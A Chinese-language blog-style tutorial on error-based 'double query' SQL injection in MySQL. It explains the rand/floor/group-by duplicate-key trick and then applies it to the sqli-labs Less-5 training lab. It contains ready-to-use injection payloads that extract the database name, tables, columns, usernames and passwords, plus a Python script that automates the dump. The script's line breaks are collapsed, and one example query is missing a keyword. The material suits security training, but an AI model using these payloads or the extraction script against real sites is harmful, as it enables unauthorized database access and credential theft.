SQL注入中什么是双查询注入

这篇文章主要为大家展示了“SQL注入中什么是双查询注入”，内容简而易懂，条理清晰，希望能够帮助大家解决疑惑，下面让小编带领大家一起研究并学习一下“SQL注入中什么是双查询注入”这篇文章吧。

什么是双查询注入呢？

看大佬的解释太深奥，粗俗的理解就是一个select语句里再嵌套一个select语句，将有用的信息显示在SQL的报错信息。

首先,理解四个函数/语句：Concat(),Rand(), Floor(), Count(),Group by clause

①concat（）函数

我理解为组合，汇合函数将括号里的符号连接在一起。

将结果连在了一起。②Rand函数

用来返回一个01之间的随机数，区间表示就是【0,1）。括号里为空时，随机产生数。

当括号里的参数固定时，随机数(随机数列)也是固定的。

让我们看一下随机数列

select rand(3) from information_schema.columns limit 3;

产生三列随机数。

对比一下还是不变。

③Floor()函数

Floor()函数时取整函数，当输入一个非整数，返回小于等于输入参数的最大整数。

④count()函数

用于统计行数。

⑤group by 语句

先看这句：

select table_schema, table_name from information_schema.tables；

加上group by语句后：

select table_schema, table_name from information_schema.tables by table_schema；

加上之后，数据明显少了很多的重复的。重复的数据库只显示一个，并且只显示数据库里的第一张表。

几个函数灵活运用，会有什么不异想不到的结果呢？

我们实践一下

①rand()函数和floor()函数结合使用。

select floor(rand(5)*12) from information_schema.columns limit 5;

由内到外逐个分析，rand(5)会随机产生5个不同的值，但是*12，就是将【0，1）扩大到【0，12），floor函数就是取整了。

②count()函数和group by语句

select table_schema, count(*) from information_schema.tables group by table_schema;

他们的组合就是统计了每个数据库里有多少张表。

其原理就是：Mysql会建立一张临时表，有group_key和tally两个字段，其中group_key设置了UNIQUE约束，即不能有两行的group_key列的值相同。使用group by语句和count()函数的时候，mysql数据库会先建立一个虚拟表，当查询到新的键不在虚拟表中，数据库就会将其插入表中，如果数据库中已存在该键，则找到该键对应的计数字段并加1。

③双查询的核心语句(几个函数综合使用)

先看payload：select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;

报错了，那为什么会报错？ 分析一下： SQL语句中用列c分组，而列c是floor(rand(14)2)的别名。 floor(rand(14)2)产生的随机数列，前四位是：1，0，1，0。

我们查询的时候，mysql数据库会先建立一个临时表，设置了UNIQUE约束的group_key和tally两个字段。当查询到新的"group_key键"不在临时表中，数据库就会将其插入临时表中，如果数据库中已存在group_key该键，则找到该键对应的"tally计数"字段并加1。

创建好临时表后，Mysql开始逐行扫描information_schema.columns表，遇到的第一个分组列是floor(rand(14)2)，计算出其值为1，便去查询临时表中是否有group_key为1的行，发现没有，便在临时表中新增一行，group_key为floor(rand(14)2)，注意此时又计算了一次，结果为0。所以实际插入到临时表的一行group_key为0，tally为1，临时表变成了：

Mysql继续扫描information_schema.columns表，遇到的第二个分组列还是floor(rand(14)2)，计算出其值为1（这个1是随机数列的第三个数），便去查询临时表中是否有group_key为1的行，发现没有，便在临时表中新增一行，group_key为floor(rand(14)2)，此时又计算了一次，结果为0（这个0是随机数列的第四个数），所以尝试向临时表插入一行数据，group_key为0，tally为1。但实际上临时表中已经有一行的group_key为0，而group_key又设置了不可重复的约束，所以就会出现报错。

知道了原理，就实战一下。以sql-lib/Less-5为例：

判断闭合点：

然后查询数据库： 构建payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

数据库就在报错的信息里显示出来了。

但是，因为是随机值，所以只会有50%的概率会报错。

相同的payload但显示正常。

有大佬说，可以通过修改rand()使用的种子来使其百分百报错,如下将rand()改为rand(1)，测试百分之百报错，即payload：?id=-1' union select 1,count(*),concat( (select database()),floor(rand(1)*2)) as a from information_schema.tables group by a --+

但我发现，rand(1)并不会100%报错，反而我是试了几次都没有报错，只有4，11，14，15这几个数会100%报错，我也不知道什么原因，在这里留个悬念，希望大佬能解释一下。

我们来爆表,前面我们知道了当前数据库的为security，构造payload：?id=-1' union select 1,count(*),concat( (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

总共四张表，我们在第三张拿到了我们想要的。

知道了表名，看列值，构造payload：?id=-1' union select 1,count(*),concat( (select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

我通过修改limit X,1里X的值，在3，1的时候看到了password字段

在9，1的时候得到了用户名字段

开始拿用户名和密码，构造payload：?id=-1' union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

和?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

这里要注意用户名和密码的列数应改相对。

是不是jio着麻烦，附上Mochaaz大佬的python代码

import requestsfrom bs4 import BeautifulSoupdb_name = ''table_list = []column_list = []url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1'''### 获取当前数据库名 ###print('当前数据库名:')payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''r = requests.get(url+payload)db_name = r.text.split(':')[-2]print('[+]' + db_name)### 获取表名 ###print('数据库%s下的表名:' % db_name)for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)r = requests.get(url+payload)if 'group_key' not in r.text:breaktable_name = r.text.split(':')[-2]table_list.append(table_name)print('[+]' + table_name)### 获取列名 ####### 这里以users表为例 ####print('%s表下的列名:' % table_list[-1])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakcolumn_name = r.text.split(':')[-2]column_list.append(column_name)print('[+]' + column_name)### 获取字段值 ####### 这里以username列为例 ####print('%s列下的字段值:' % column_list[-2])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakdump = r.text.split(':')[-2]print('[+]' + dump)

花费几小时的注入，代码几秒就出来结果了。

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